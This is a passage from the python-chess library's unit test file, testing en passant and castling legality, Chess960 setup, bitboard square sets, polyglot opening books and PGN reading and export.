chess.Board("1n1R2k1/2b1qpp1/p3p2p/1p6/1P2Q2P/4PNP1/P4PB1/6K1 b - - 0 1") self.assertFalse(board.is_pinned(chess.BLACK, chess.B8)) # The empty square e8 would be considered pinned. self.assertTrue(board.is_pinned(chess.BLACK, chess.E8)) def test_impossible_en_passant(self): # Not a pawn there. board = chess.Board("1b1b4/8/b1P5/2kP4/8/2b4K/8/8 w - c6 0 1") self.assertTrue(board.status() & chess.STATUS_INVALID_EP_SQUARE) # Sixth rank square not empty. board = chess.Board("5K2/8/2pp2Pp/2PP4/P5Pp/2pP1Ppp/P6p/7k b - g3 0 1") self.assertTrue(board.status() & chess.STATUS_INVALID_EP_SQUARE) # Seventh rank square not empty. board = chess.Board("8/7k/8/7p/8/8/8/K7 w - h6 0 1") self.assertTrue(board.status() & chess.STATUS_INVALID_EP_SQUARE) def test_horizontally_skewered_en_passant(self): # Horizontal pin. Non-evasion. board = chess.Board("8/8/8/r2Pp2K/8/8/4k3/8 w - e6 0 1") move = chess.Move.from_uci("d5e6") self.assertEqual(board.status(), chess.STATUS_VALID) self.assertTrue(board.is_pseudo_legal(move)) self.assertIn(move, board.generate_pseudo_legal_moves()) self.assertIn(move, board.generate_pseudo_legal_ep()) self.assertFalse(board.is_legal(move)) self.assertNotIn(move, board.generate_legal_moves()) self.assertNotIn(move, board.generate_legal_ep()) def test_diagonally_skewered_en_passant(self): # The capturing pawn is still blocking the diagonal. board = chess.Board("2b1r2r/8/5P1k/2p1pP2/5R1P/6PK/4q3/4R3 w - e6 0 1") move = chess.Move.from_uci("f5e6") self.assertIn(move, board.generate_legal_ep()) self.assertIn(move, board.generate_legal_moves()) # Regarding the following positions: # Note that the positions under test can not be reached by a sequence # of legal moves. The last move must have been a double pawn move, # but then the king would have been in check already. # Diagonal attack uncovered. Evasion attempt. board = chess.Board("8/8/8/5k2/4Pp2/8/2B5/4K3 b - e3 0 1") move = chess.Move.from_uci("f4e3") self.assertTrue(board.is_pseudo_legal(move)) self.assertIn(move, board.generate_pseudo_legal_moves()) self.assertIn(move, board.generate_pseudo_legal_ep()) self.assertFalse(board.is_legal(move)) self.assertNotIn(move, board.generate_legal_moves()) self.assertNotIn(move, board.generate_legal_ep()) # Diagonal attack uncovered. Non-evasion. board = chess.Board("8/8/8/7B/6Pp/8/4k2K/3r4 b - g3 0 1") move = chess.Move.from_uci("h4g3") self.assertTrue(board.is_pseudo_legal(move)) self.assertIn(move, board.generate_pseudo_legal_moves()) self.assertIn(move, board.generate_pseudo_legal_ep()) self.assertFalse(board.is_legal(move)) self.assertNotIn(move, board.generate_legal_moves()) self.assertNotIn(move, board.generate_legal_ep()) def test_file_pinned_en_passant(self): board = chess.Board("8/5K2/8/3k4/3pP3/8/8/3R4 b - e3 0 1") move = chess.Move.from_uci("d4e3") self.assertTrue(board.is_pseudo_legal(move)) self.assertIn(move, board.generate_pseudo_legal_moves()) self.assertIn(move, board.generate_pseudo_legal_ep()) self.assertFalse(board.is_legal(move)) self.assertNotIn(move, board.generate_legal_moves()) self.assertNotIn(move, board.generate_legal_ep()) def test_en_passant_evasion(self): board = chess.Board("8/8/8/2k5/2pP4/8/4K3/8 b - d3 0 1") move = chess.Move.from_uci("c4d3") self.assertEqual(move, board.parse_san("cxd3")) self.assertTrue(board.is_pseudo_legal(move)) self.assertIn(move, board.generate_pseudo_legal_moves()) self.assertIn(move, board.generate_pseudo_legal_ep()) self.assertTrue(board.is_legal(move)) self.assertIn(move, board.generate_legal_moves()) self.assertIn(move, board.generate_legal_ep()) def test_capture_generation(self): board = chess.Board("3q1rk1/ppp1p1pp/4b3/3pPp2/3P4/1K1n4/PPQ2PPP/3b1BNR w - f6 0 1") # Fully legal captures. lc = list(board.generate_legal_captures()) self.assertIn(board.parse_san("Qxd1"), lc) self.assertIn(board.parse_san("exf6"), lc) # En passant self.assertIn(board.parse_san("Bxd3"), lc) self.assertEqual(len(lc), 3) plc = list(board.generate_pseudo_legal_captures()) self.assertIn(board.parse_san("Qxd1"), plc) self.assertIn(board.parse_san("exf6"), plc) # En passant self.assertIn(board.parse_san("Bxd3"), plc) self.assertIn(chess.Move.from_uci("c2c7"), plc) self.assertIn(chess.Move.from_uci("c2d3"), plc) self.assertEqual(len(plc), 5) def test_castling_is_legal(self): board = chess.Board("rnbqkbnr/5p2/1pp3pp/p2P4/6P1/2NPpN2/PPP1Q1BP/R3K2R w Qq - 0 11") self.assertFalse(board.is_legal(chess.Move.from_uci("e1g1"))) self.assertFalse(board.is_legal(chess.Move.from_uci("e1h1"))) board.castling_rights |= chess.BB_H1 self.assertTrue(board.is_legal(chess.Move.from_uci("e1g1"))) self.assertTrue(board.is_legal(chess.Move.from_uci("e1h1"))) def test_from_chess960_pos(self): board = chess.Board.from_chess960_pos(909) self.assertTrue(board.chess960) self.assertEqual(board.fen(), "rkqbrnbn/pppppppp/8/8/8/8/PPPPPPPP/RKQBRNBN w KQkq - 0 1") def test_mirror(self): board = chess.Board("r1bq1r2/pp2n3/4N2k/3pPppP/1b1n2Q1/2N5/PP3PP1/R1B1K2R w KQ g6 0 15") mirrored = chess.Board("r1b1k2r/pp3pp1/2n5/1B1N2q1/3PpPPp/4n2K/PP2N3/R1BQ1R2 b kq g3 0 15") self.assertEqual(board.mirror(), mirrored) board.apply_mirror() self.assertEqual(board, mirrored) def test_chess960_pos(self): board = chess.Board() board.set_chess960_pos(0) self.assertEqual(board.board_fen(), "bbqnnrkr/pppppppp/8/8/8/8/PPPPPPPP/BBQNNRKR") self.assertEqual(board.chess960_pos(), 0) board.set_chess960_pos(631) self.assertEqual(board.board_fen(), "rnbkqrnb/pppppppp/8/8/8/8/PPPPPPPP/RNBKQRNB") self.assertEqual(board.chess960_pos(), 631) board.set_chess960_pos(518) self.assertEqual(board.board_fen(), chess.STARTING_BOARD_FEN) self.assertEqual(board.chess960_pos(), 518) board.set_chess960_pos(959) self.assertEqual(board.board_fen(), "rkrnnqbb/pppppppp/8/8/8/8/PPPPPPPP/RKRNNQBB") self.assertEqual(board.chess960_pos(), 959) def test_is_irreversible(self): board = chess.Board("r3k2r/8/8/8/8/8/8/R3K2R w Qkq - 0 1") self.assertTrue(board.is_irreversible(board.parse_san("Ra2"))) self.assertTrue(board.is_irreversible(board.parse_san("O-O-O"))) self.assertTrue(board.is_irreversible(board.parse_san("Kd1"))) self.assertTrue(board.is_irreversible(board.parse_san("Rxa8"))) self.assertTrue(board.is_irreversible(board.parse_san("Rxh8"))) self.assertFalse(board.is_irreversible(board.parse_san("Rf1"))) self.assertFalse(board.is_irreversible(chess.Move.null())) board.set_castling_fen("kq") self.assertFalse(board.is_irreversible(board.parse_san("Ra2"))) self.assertFalse(board.is_irreversible(board.parse_san("Kd1"))) self.assertTrue(board.is_irreversible(board.parse_san("Rxa8"))) self.assertTrue(board.is_irreversible(board.parse_san("Rxh8"))) self.assertFalse(board.is_irreversible(board.parse_san("Rf1"))) self.assertFalse(board.is_irreversible(chess.Move.null())) def test_king_captures_unmoved_rook(self): board = chess.Board("8/8/8/B2p3Q/2qPp1P1/b7/2P2PkP/4K2R b K - 0 1") move = board.parse_uci("g2h1") self.assertFalse(board.is_castling(move)) self.assertEqual(board.san(move), "Kxh1") board.push(move) self.assertEqual(board.fen(), "8/8/8/B2p3Q/2qPp1P1/b7/2P2P1P/4K2k w - - 0 2") def test_impossible_check_due_to_en_passant(self): board = chess.Board("rnbqk1nr/bb3p1p/1q2r3/2pPp3/3P4/7P/1PP1NpPP/R1BQKBNR w KQkq c6") self.assertEqual(board.status(), chess.STATUS_IMPOSSIBLE_CHECK) self.assertEqual(board.ep_square, chess.C6) self.assertTrue(board.has_pseudo_legal_en_passant()) self.assertFalse(board.has_legal_en_passant()) self.assertEqual(len(list(board.legal_moves)), 2) class LegalMoveGeneratorTestCase(unittest.TestCase): def test_list_conversion(self): self.assertEqual(len(list(chess.Board().legal_moves)), 20) def test_nonzero(self): self.assertTrue(chess.Board().legal_moves) self.assertTrue(chess.Board().pseudo_legal_moves) caro_kann_mate = chess.Board("r1bqkb1r/pp1npppp/2pN1n2/8/3P4/8/PPP1QPPP/R1B1KBNR b KQkq - 4 6") self.assertFalse(caro_kann_mate.legal_moves) self.assertTrue(caro_kann_mate.pseudo_legal_moves) def test_string_conversion(self): board = chess.Board("r3k1nr/ppq1pp1p/2p3p1/8/1PPR4/2N5/P3QPPP/5RK1 b kq b3 0 16") self.assertIn("Qxh2+", str(board.legal_moves)) self.assertIn("Qxh2+", repr(board.legal_moves)) self.assertIn("Qxh2+", str(board.pseudo_legal_moves)) self.assertIn("Qxh2+", repr(board.pseudo_legal_moves)) self.assertIn("e8d7", str(board.pseudo_legal_moves)) self.assertIn("e8d7", repr(board.pseudo_legal_moves)) def test_traverse_once(self): class MockBoard: def __init__(self): self.traversals = 0 def generate_legal_moves(self): self.traversals += 1 return yield board = MockBoard() gen = chess.LegalMoveGenerator(board) list(gen) self.assertEqual(board.traversals, 1) class BaseBoardTestCase(unittest.TestCase): def test_set_piece_map(self): a = chess.BaseBoard.empty() b = chess.BaseBoard() a.set_piece_map(b.piece_map()) self.assertEqual(a, b) a.set_piece_map({}) self.assertNotEqual(a, b) class SquareSetTestCase(unittest.TestCase): def test_equality(self): a1 = chess.SquareSet(chess.BB_RANK_4) a2 = chess.SquareSet(chess.BB_RANK_4) b1 = chess.SquareSet(chess.BB_RANK_5 | chess.BB_RANK_6) b2 = chess.SquareSet(chess.BB_RANK_5 | chess.BB_RANK_6) self.assertEqual(a1, a2) self.assertEqual(b1, b2) self.assertFalse(a1 != a2) self.assertFalse(b1 != b2) self.assertNotEqual(a1, b1) self.assertNotEqual(a2, b2) self.assertFalse(a1 == b1) self.assertFalse(a2 == b2) self.assertEqual(chess.SquareSet(chess.BB_ALL), chess.BB_ALL) self.assertEqual(chess.BB_ALL, chess.SquareSet(chess.BB_ALL)) self.assertEqual(int(chess.SquareSet(chess.SquareSet(999))), 999) self.assertEqual(chess.SquareSet([chess.B8]), chess.BB_B8) def test_string_conversion(self): expected = textwrap.dedent("""\ . . . . . . . 1 . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1 1 1 1 1 1 1""") bb = chess.SquareSet(chess.BB_H8 | chess.BB_B7 | chess.BB_RANK_1) self.assertEqual(str(bb), expected) def test_iter(self): bb = chess.SquareSet(chess.BB_G7 | chess.BB_G8) self.assertEqual(list(bb), [chess.G7, chess.G8]) def test_reversed(self): bb = chess.SquareSet(chess.BB_A1 | chess.BB_B1 | chess.BB_A7 | chess.BB_E1) self.assertEqual(list(reversed(bb)), [chess.A7, chess.E1, chess.B1, chess.A1]) def test_arithmetic(self): self.assertEqual(chess.SquareSet(chess.BB_RANK_2) & chess.BB_FILE_D, chess.BB_D2) self.assertEqual(chess.SquareSet(chess.BB_ALL) ^ chess.BB_EMPTY, chess.BB_ALL) self.assertEqual(chess.SquareSet(chess.BB_C1) | chess.BB_FILE_C, chess.BB_FILE_C) bb = chess.SquareSet(chess.BB_EMPTY) bb ^= chess.BB_ALL self.assertEqual(bb, chess.BB_ALL) bb &= chess.BB_E4 self.assertEqual(bb, chess.BB_E4) bb |= chess.BB_RANK_4 self.assertEqual(bb, chess.BB_RANK_4) self.assertEqual(chess.SquareSet(chess.BB_F3) << 1, chess.BB_G3) self.assertEqual(chess.SquareSet(chess.BB_C8) >> 2, chess.BB_A8) bb = chess.SquareSet(chess.BB_D1) bb <<= 1 self.assertEqual(bb, chess.BB_E1) bb >>= 2 self.assertEqual(bb, chess.BB_C1) def test_immutable_set_operations(self): examples = [ chess.BB_EMPTY, chess.BB_A1, chess.BB_A2, chess.BB_RANK_1, chess.BB_RANK_2, chess.BB_FILE_A, chess.BB_FILE_E, ] for a in examples: self.assertEqual(chess.SquareSet(a).copy(), a) for a in examples: a = chess.SquareSet(a) for b in examples: b = chess.SquareSet(b) self.assertEqual(set(a).isdisjoint(set(b)), a.isdisjoint(b)) self.assertEqual(set(a).issubset(set(b)), a.issubset(b)) self.assertEqual(set(a).issuperset(set(b)), a.issuperset(b)) self.assertEqual(set(a).union(set(b)), set(a.union(b))) self.assertEqual(set(a).intersection(set(b)), set(a.intersection(b))) self.assertEqual(set(a).difference(set(b)), set(a.difference(b))) self.assertEqual(set(a).symmetric_difference(set(b)), set(a.symmetric_difference(b))) def test_mutable_set_operations(self): squares = chess.SquareSet(chess.BB_A1) squares.update(chess.BB_FILE_H) self.assertEqual(squares, chess.BB_A1 | chess.BB_FILE_H) squares.intersection_update(chess.BB_RANK_8) self.assertEqual(squares, chess.BB_H8) squares.difference_update(chess.BB_A1) self.assertEqual(squares, chess.BB_H8) squares.symmetric_difference_update(chess.BB_A1) self.assertEqual(squares, chess.BB_A1 | chess.BB_H8) squares.add(chess.A3) self.assertEqual(squares, chess.BB_A1 | chess.BB_A3 | chess.BB_H8) squares.remove(chess.H8) self.assertEqual(squares, chess.BB_A1 | chess.BB_A3) with self.assertRaises(KeyError): squares.remove(chess.H8) squares.discard(chess.H8) squares.discard(chess.A1) self.assertEqual(squares, chess.BB_A3) squares.clear() self.assertEqual(squares, chess.BB_EMPTY) with self.assertRaises(KeyError): squares.pop() squares.add(chess.C7) self.assertEqual(squares.pop(), chess.C7) self.assertEqual(squares, chess.BB_EMPTY) def test_from_square(self): self.assertEqual(chess.SquareSet.from_square(chess.H5), chess.BB_H5) self.assertEqual(chess.SquareSet.from_square(chess.C2), chess.BB_C2) def test_carry_rippler(self): self.assertEqual(sum(1 for _ in chess.SquareSet(chess.BB_D1).carry_rippler()), 2 ** 1) self.assertEqual(sum(1 for _ in chess.SquareSet(chess.BB_FILE_B).carry_rippler()), 2 ** 8) def test_mirror(self): self.assertEqual(chess.SquareSet(0x00a2_0900_0004_a600).mirror(), 0x00a6_0400_0009_a200) self.assertEqual(chess.SquareSet(0x1e22_2212_0e0a_1222).mirror(), 0x2212_0a0e_1222_221e) def test_flip(self): self.assertEqual(chess.flip_vertical(chess.BB_ALL), chess.BB_ALL) self.assertEqual(chess.flip_horizontal(chess.BB_ALL), chess.BB_ALL) self.assertEqual(chess.flip_diagonal(chess.BB_ALL), chess.BB_ALL) self.assertEqual(chess.flip_anti_diagonal(chess.BB_ALL), chess.BB_ALL) s = chess.SquareSet(0x1e22_2212_0e0a_1222) # Letter R self.assertEqual(chess.flip_vertical(s), 0x2212_0a0e_1222_221e) self.assertEqual(chess.flip_horizontal(s), 0x7844_4448_7050_4844) self.assertEqual(chess.flip_diagonal(s), 0x0000_6192_8c88_ff00) self.assertEqual(chess.flip_anti_diagonal(s), 0x00ff_1131_4986_0000) def test_len_of_complenent(self): squares = chess.SquareSet(~chess.BB_ALL) self.assertEqual(len(squares), 0) squares = ~chess.SquareSet(chess.BB_BACKRANKS) self.assertEqual(len(squares), 48) def test_int_conversion(self): self.assertEqual(int(chess.SquareSet(chess.BB_CENTER)), 0x0000_0018_1800_0000) self.assertEqual(hex(chess.SquareSet(chess.BB_CENTER)), "0x1818000000") self.assertEqual(bin(chess.SquareSet(chess.BB_CENTER)), "0b1100000011000000000000000000000000000") def test_tolist(self): self.assertEqual(chess.SquareSet(chess.BB_LIGHT_SQUARES).tolist().count(True), 32) def test_flip_ducktyping(self): bb = 0x1e22_2212_0e0a_1222 squares = chess.SquareSet(bb) for f in [chess.flip_vertical, chess.flip_horizontal, chess.flip_diagonal, chess.flip_anti_diagonal]: self.assertEqual(int(f(squares)), f(bb)) self.assertEqual(int(squares), bb) # Not mutated class PolyglotTestCase(unittest.TestCase): def test_performance_bin(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: pos = chess.Board() e4 = next(book.find_all(pos)) self.assertEqual(e4.move, pos.parse_san("e4")) pos.push(e4.move) e5 = next(book.find_all(pos)) self.assertEqual(e5.move, pos.parse_san("e5")) pos.push(e5.move) def test_mainline(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: board = chess.Board() while True: entry = book.get(board) if entry is None: break board.push(entry.move) self.assertEqual(board.fen(), "r2q1rk1/4bppp/p2p1n2/np5b/3BP1P1/5N1P/PPB2P2/RN1QR1K1 b - - 0 15") def test_lasker_trap(self): with chess.polyglot.open_reader("data/polyglot/lasker-trap.bin") as book: board = chess.Board("rnbqk1nr/ppp2ppp/8/4P3/1BP5/8/PP2KpPP/RN1Q1BNR b kq - 1 7") entry = book.find(board) cute_underpromotion = entry.move self.assertEqual(cute_underpromotion, board.parse_san("fxg1=N+")) def test_castling(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: # White decides between short castling and long castling at this # turning point in the Queen's Gambit Declined, Exchange Variation. pos = chess.Board("r1bqr1k1/pp1nbppp/2p2n2/3p2B1/3P4/2NBP3/PPQ1NPPP/R3K2R w KQ - 5 10") moves = set(entry.move for entry in book.find_all(pos)) self.assertIn(pos.parse_san("O-O"), moves) self.assertIn(pos.parse_san("O-O-O"), moves) self.assertIn(pos.parse_san("h3"), moves) self.assertEqual(len(moves), 3) # Black usually castles long at this point in the Ruy Lopez, # Exchange Variation. pos = chess.Board("r3k1nr/1pp1q1pp/p1pb1p2/4p3/3PP1b1/2P1BN2/PP1N1PPP/R2Q1RK1 b kq - 4 9") moves = set(entry.move for entry in book.find_all(pos)) self.assertIn(pos.parse_san("O-O-O"), moves) self.assertEqual(len(moves), 1) # Not a castling move. pos = chess.Board("1r1qr1k1/1b2bp1n/p2p2pB/1pnPp2p/P1p1P3/R1P2NNP/1PBQ1PP1/4R1K1 w - - 0 1") entry = book.find(pos) self.assertEqual(entry.move, chess.Move.from_uci("e1a1")) def test_empty_book(self): with chess.polyglot.open_reader(os.devnull) as book: self.assertEqual(len(book), 0) entries = book.find_all(chess.Board()) self.assertEqual(len(list(entries)), 0) def test_reversed(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: # Last is first of reversed. self.assertEqual(book[-1], next(reversed(book))) # First is last of reversed. for last in reversed(book): pass self.assertEqual(book[0], last) def test_random_choice(self): class FirstMockRandom: @staticmethod def randint(first, last): assert first <= last return first class LastMockRandom: @staticmethod def randint(first, last): assert first <= last return last with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: # Uniform choice. entry = book.choice(chess.Board(), random=FirstMockRandom()) self.assertEqual(entry.move, chess.Move.from_uci("e2e4")) entry = book.choice(chess.Board(), random=LastMockRandom()) self.assertEqual(entry.move, chess.Move.from_uci("c2c4")) # Weighted choice. entry = book.weighted_choice(chess.Board(), random=FirstMockRandom()) self.assertEqual(entry.move, chess.Move.from_uci("e2e4")) entry = book.weighted_choice(chess.Board(), random=LastMockRandom()) self.assertEqual(entry.move, chess.Move.from_uci("c2c4")) # Weighted choice with excluded move. entry = book.weighted_choice(chess.Board(), exclude_moves=[chess.Move.from_uci("e2e4")], random=FirstMockRandom()) self.assertEqual(entry.move, chess.Move.from_uci("d2d4")) def test_find(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: entry = book.find(chess.Board()) self.assertEqual(entry.move, chess.Move.from_uci("e2e4")) def test_exclude_moves(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: entry = book.find(chess.Board(), exclude_moves=[chess.Move.from_uci("e2e4")]) self.assertEqual(entry.move, chess.Move.from_uci("d2d4")) def test_contains(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: for entry in book: self.assertIn(entry, book) def test_last(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: last_entry = book[len(book) - 1] self.assertTrue(any(book.find_all(last_entry.key))) self.assertTrue(all(book.find_all(last_entry.key))) def test_minimum_weight(self): with chess.polyglot.open_reader("data/polyglot/performance.bin") as book: with self.assertRaises(IndexError): book.find(chess.Board(), minimum_weight=2) class PgnTestCase(unittest.TestCase): def test_exporter(self): game = chess.pgn.Game() game.comments = ["Test game:"] game.headers["Result"] = "*" game.headers["VeryLongHeader"] = "This is a very long header, much wider than the 80 columns that PGNs are formatted with by default" e4 = game.add_variation(game.board().parse_san("e4")) e4.comments = ["Scandinavian Defense:"] e4_d5 = e4.add_variation(e4.board().parse_san("d5")) e4_h5 = e4.add_variation(e4.board().parse_san("h5")) e4_h5.nags.add(chess.pgn.NAG_MISTAKE) e4_h5.starting_comments = ["This"] e4_h5.comments = ["is nonsense"] e4_e5 = e4.add_variation(e4.board().parse_san("e5")) e4_e5_Qf3 = e4_e5.add_variation(e4_e5.board().parse_san("Qf3")) e4_e5_Qf3.nags.add(chess.pgn.NAG_MISTAKE) e4_c5 = e4.add_variation(e4.board().parse_san("c5")) e4_c5.comments = ["Sicilian"] e4_d5_exd5 = e4_d5.add_main_variation(e4_d5.board().parse_san("exd5")) e4_d5_exd5.comments = ["Best", "and the end of this {example}"] # Test string exporter with various options. exporter = chess.pgn.StringExporter(headers=False, comments=False, variations=False) game.accept(exporter) self.assertEqual(str(exporter), "1. e4 d5 2. exd5 *") exporter = chess.pgn.StringExporter(headers=False, comments=False) game.accept(exporter) self.assertEqual(str(exporter), "1. e4 d5 ( 1... h5 ) ( 1... e5 2. Qf3 ) ( 1... c5 ) 2. exd5 *") exporter = chess.pgn.StringExporter() game.accept(exporter) pgn = textwrap.dedent("""\ [Event "?"] [Site "?"] [Date "????.??.??"] [Round "?"] [White "?"] [Black "?"] [Result "*"] [VeryLongHeader "This is a very long header, much wider than the 80 columns that PGNs are formatted with by default"] { Test game: } 1. e4 { Scandinavian Defense: } 1... d5 ( { This } 1... h5 $2 { is nonsense } ) ( 1... e5 2. Qf3 $2 ) ( 1... c5 { Sicilian } ) 2. exd5 { Best } { and the end of this example } *""") self.assertEqual(str(exporter), pgn) # Test file exporter. virtual_file = io.StringIO() exporter = chess.pgn.FileExporter(virtual_file) game.accept(exporter) self.assertEqual(virtual_file.getvalue(), pgn + "\n\n") def test_game_without_tag_roster(self): game = chess.pgn.Game.without_tag_roster() self.assertEqual(str(game), "*") def test_setup(self): game = chess.pgn.Game() self.assertEqual(game.board(), chess.Board()) self.assertNotIn("FEN", game.headers) self.assertNotIn("SetUp", game.headers) self.assertNotIn("Variant", game.headers) fen = "rnbqkbnr/pp1ppp1p/6p1/8/3pP3/5N2/PPP2PPP/RNBQKB1R w KQkq - 0 4" game.setup(fen) self.assertEqual(game.headers["FEN"], fen) self.assertEqual(game.headers["SetUp"], "1") self.assertNotIn("Variant", game.headers) game.setup(chess.STARTING_FEN) self.assertNotIn("FEN", game.headers) self.assertNotIn("SetUp", game.headers) self.assertNotIn("Variant", game.headers) # Setup again, while starting FEN is already set. game.setup(chess.STARTING_FEN) self.assertNotIn("FEN", game.headers) self.assertNotIn("SetUp", game.headers) self.assertNotIn("Variant", game.headers) game.setup(chess.Board(fen)) self.assertEqual(game.headers["FEN"], fen) self.assertEqual(game.headers["SetUp"], "1") self.assertNotIn("Variant", game.headers) # Chess960 starting position #283. fen = "rkbqrnnb/pppppppp/8/8/8/8/PPPPPPPP/RKBQRNNB w KQkq - 0 1" game.setup(fen) self.assertEqual(game.headers["FEN"], fen) self.assertEqual(game.headers["SetUp"], "1") self.assertEqual(game.headers["Variant"], "Chess960") board = game.board() self.assertTrue(board.chess960) self.assertEqual(board.fen(), fen) def test_promote_to_main(self): e4 = chess.Move.from_uci("e2e4") d4 = chess.Move.from_uci("d2d4") node = chess.pgn.Game() node.add_variation(e4) node.add_variation(d4) self.assertEqual(list(variation.move for variation in node.variations), [e4, d4]) node.promote_to_main(d4) self.assertEqual(list(variation.move for variation in node.variations), [d4, e4]) def test_read_game(self): with open("data/pgn/kasparov-deep-blue-1997.pgn") as pgn: first_game = chess.pgn.read_game(pgn) second_game = chess.pgn.read_game(pgn) third_game = chess.pgn.read_game(pgn) fourth_game = chess.pgn.read_game(pgn) fifth_game = chess.pgn.read_game(pgn) sixth_game = chess.pgn.read_game(pgn) self.assertTrue(chess.pgn.read_game(pgn) is None) self.assertEqual(first_game.headers["Event"], "IBM Man-Machine, New York USA") self.assertEqual(first_game.headers["Site"], "01") self.assertEqual(first_game.headers["Result"], "1-0") self.assertEqual(second_game.headers["Event"], "IBM Man-Machine, New York USA") self.assertEqual(second_game.headers["Site"], "02") self.assertEqual(third_game.headers["ECO"], "A00") self.assertEqual(fourth_game.headers["PlyCount"], "111") self.assertEqual(fifth_game.headers["Result"], "1/2-1/2") self.assertEqual(sixth_game.headers["White"], "Deep Blue (Computer)") self.assertEqual(sixth_game.headers["Result"], "1-0") def test_read_game_with_multicomment_move(self): pgn = io.StringIO("1. e4 {A common opening} 1... e5 {A common response} {An uncommon comment}") game = chess.pgn.read_game(pgn) first_move = game.variation(0) self.assertEqual(first_move.comments, ["A common opening"]) second_move = first_move.variation(0) self.assertEqual(second_move.comments, ["A common response", "An uncommon comment"]) def test_comment_at_eol(self): pgn = io.StringIO(textwrap.dedent("""\ 1. e4 e5 2. Nf3 Nc6 3. Bc4 Bc5 4. c3 Nf6 5. d3 d6 6. Nbd2 a6 $6 (6... Bb6 $5 { /\\ Ne7, c6}) *""")) game = chess.pgn.read_game(pgn) # Seek the node after 6.Nbd2 and before 6...a6. node = game while node.variations and not node.has_variation(chess.Move.from_uci("a7a6")): node = node[0] # Make sure the comment for the second variation is there. self.assertIn(5, node[1].nags) self.assertEqual(node[1].comments, ["\n/\\ Ne7, c6"]) def test_promotion_without_equals(self): # Example game from https://github.com/rozim/ChessData as originally # reported. pgn = io.StringIO(textwrap.dedent("""\ [Event "It (open)"] [Site "Aschach (Austria)"] [Date "2011.12.26"] [Round "1"] [White "Ennsberger Ulrich (AUT)"] [Black "Koller Hans-Juergen (AUT)"] [Result "0-1"] [ECO "A45"] [WhiteElo "2373"] [BlackElo "2052"] [ID ""] [FileName ""] [Annotator ""] [Source ""] [Remark ""] 1.d4 Nf6 2.Bg5 c5 3.d5 Ne4 4.Bf4 Qb6 5.Nd2 Nxd2 6.Bxd2 e6 7.Bc3 d6 8.e4 e5 9.a4 Be7 10.a5 Qc7 11.f4 f6 12.f5 g6 13.Bb5+ Bd7 14.Bc4 gxf5 15.Qh5+ Kd8 16.exf5 Qc8 17.g4 Na6 18.Ne2 b5 19.axb6 axb6 20.O-O Nc7 21.Qf7 h5 22.Qg7 Rf8 23.gxh5 Ne8 24.Rxa8 Nxg7 25.Rxc8+ Kxc8 26.Ng3 Rh8 27.Be2 Be8 28.Be1 Nxh5 29.Bxh5 Bxh5 30.Nxh5 Rxh5 31.h4 Bf8 32.c4 Bh6 33.Bg3 Be3+ 34.Kg2 Kb7 35.Kh3 b5 36.b3 b4 37.Kg4 Rh8 38.Kf3 Bh6 39.Bf2 Ra8 40.Kg4 Bf4 41.Kh5 Ra3 42.Kg6 Rxb3 43.h5 Rf3 44.h6 Bxh6 45.Kxh6 Rxf5 46.Kg6 Rf4 47.Kf7 e4 48.Re1 Rxf2 49.Ke6 Kc7 50.Rh1 b3 51.Rh7+ Kb6 52.Kxd6 b2 53.Rh1 Rd2 54.Rh8 e3 55.Rb8+ Ka5 56.Kxc5 Ka4 57.d6 e2 58.Re8 b1Q 0-1""")) game = chess.pgn.read_game(pgn) # Make sure the last move is a promotion. last_node = game.end() self.assertEqual(last_node.move.uci(), "b2b1q") def test_header_with_paren(self): with open("data/pgn/stockfish-learning.pgn") as pgn: game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["Opening"], "St. George (Baker) defense") self.assertEqual(game.end().board(), chess.Board("8/2p2k2/1pR3p1/1P1P4/p1P2P2/P4K2/8/5r2 w - - 7 78")) def test_special_tag_names(self): pgn = io.StringIO("""[BlackType: "program"]""") game = chess.pgn.read_game(pgn) self.assertEqual(game.headers["BlackType:"], "program") with self.assertRaises(ValueError): game.headers["~"] = "foo" game.headers["Equals="] = "bar" def test_chess960_without_fen(self): pgn = io.StringIO(textwrap.dedent("""\ [Variant "Chess960"] 1. e4 * """)) game = chess.pgn.read_game(pgn) self.assertEqual(game[0].move, chess.Move.from_uci("e2e4")) def test_variation_stack(self): # Survive superfluous closing brackets. pgn = io.StringIO("1. e4 (1. d4))) !? *") logging.disable(logging.ERROR) game = chess.pgn.read_game(pgn) logging.disable(logging.NOTSET) self.assertEqual(game[0].san(), "e4") self.assertEqual(game[0].uci(), "e2e4") self.assertEqual(game[1].san(), "d4") self.assertEqual(game[1].uci(), "d2d4") self.assertEqual(len(game.errors), 0) # Survive superfluous opening brackets. pgn = io.StringIO("((( 1. c4 *") logging.disable(logging.ERROR) game = chess.pgn.read_game(pgn) logging.disable(logging.NOTSET) self.assertEqual(game[0].san(), "c4") self.assertEqual(len(game.errors), 0) def test_game_starting_comment(self): pgn = io.StringIO("{ Game starting comment } 1. d3") game = chess.pgn.read_game(pgn) self.assertEqual(game.comments, ["Game starting comment"]) self.assertEqual(game[0].san(), "d3") pgn = io.StringIO("{ Empty game, but has a comment }") game = chess.pgn.read_game(pgn) self.assertEqual(game.comments, ["Empty game, but has a comment"]) def test_game_starting_variation(self): pgn = io.StringIO(textwrap.dedent("""\ {Start of game} 1. e4 ({Start of variation} 1. d4) 1... e5 """)) game = chess.pgn.read_game(pgn) self.assertEqual(game.comments, ["Start of game"]) node = game[0] self.assertEqual(node.move, chess.Move.from_uci("e2e4")) self.assertFalse(node.comments) self.assertFalse(node.starting_comments) node = game[1] self.assertEqual(node.move, chess.Move.from_uci("d2d4")) self.assertFalse(node.comments) self.assertEqual(node.starting_comments, ["Start of variation"]) def test_annotation_symbols(self): pgn = io.StringIO("1. b4?! g6 2. Bb2 Nc6? 3. Bxh8!!") game = chess.pgn.read_game(pgn) node = game.variation(chess.Move.from_uci("b2b4")) self.assertIn(chess.pgn.NAG_DUBIOUS_MOVE, node.nags) self.assertEqual(len(node.nags), 1) node = node[0] self.assertEqual(len(node.nags), 0) node = node[0] self.assertEqual(len(node.nags), 0) node = node[0] 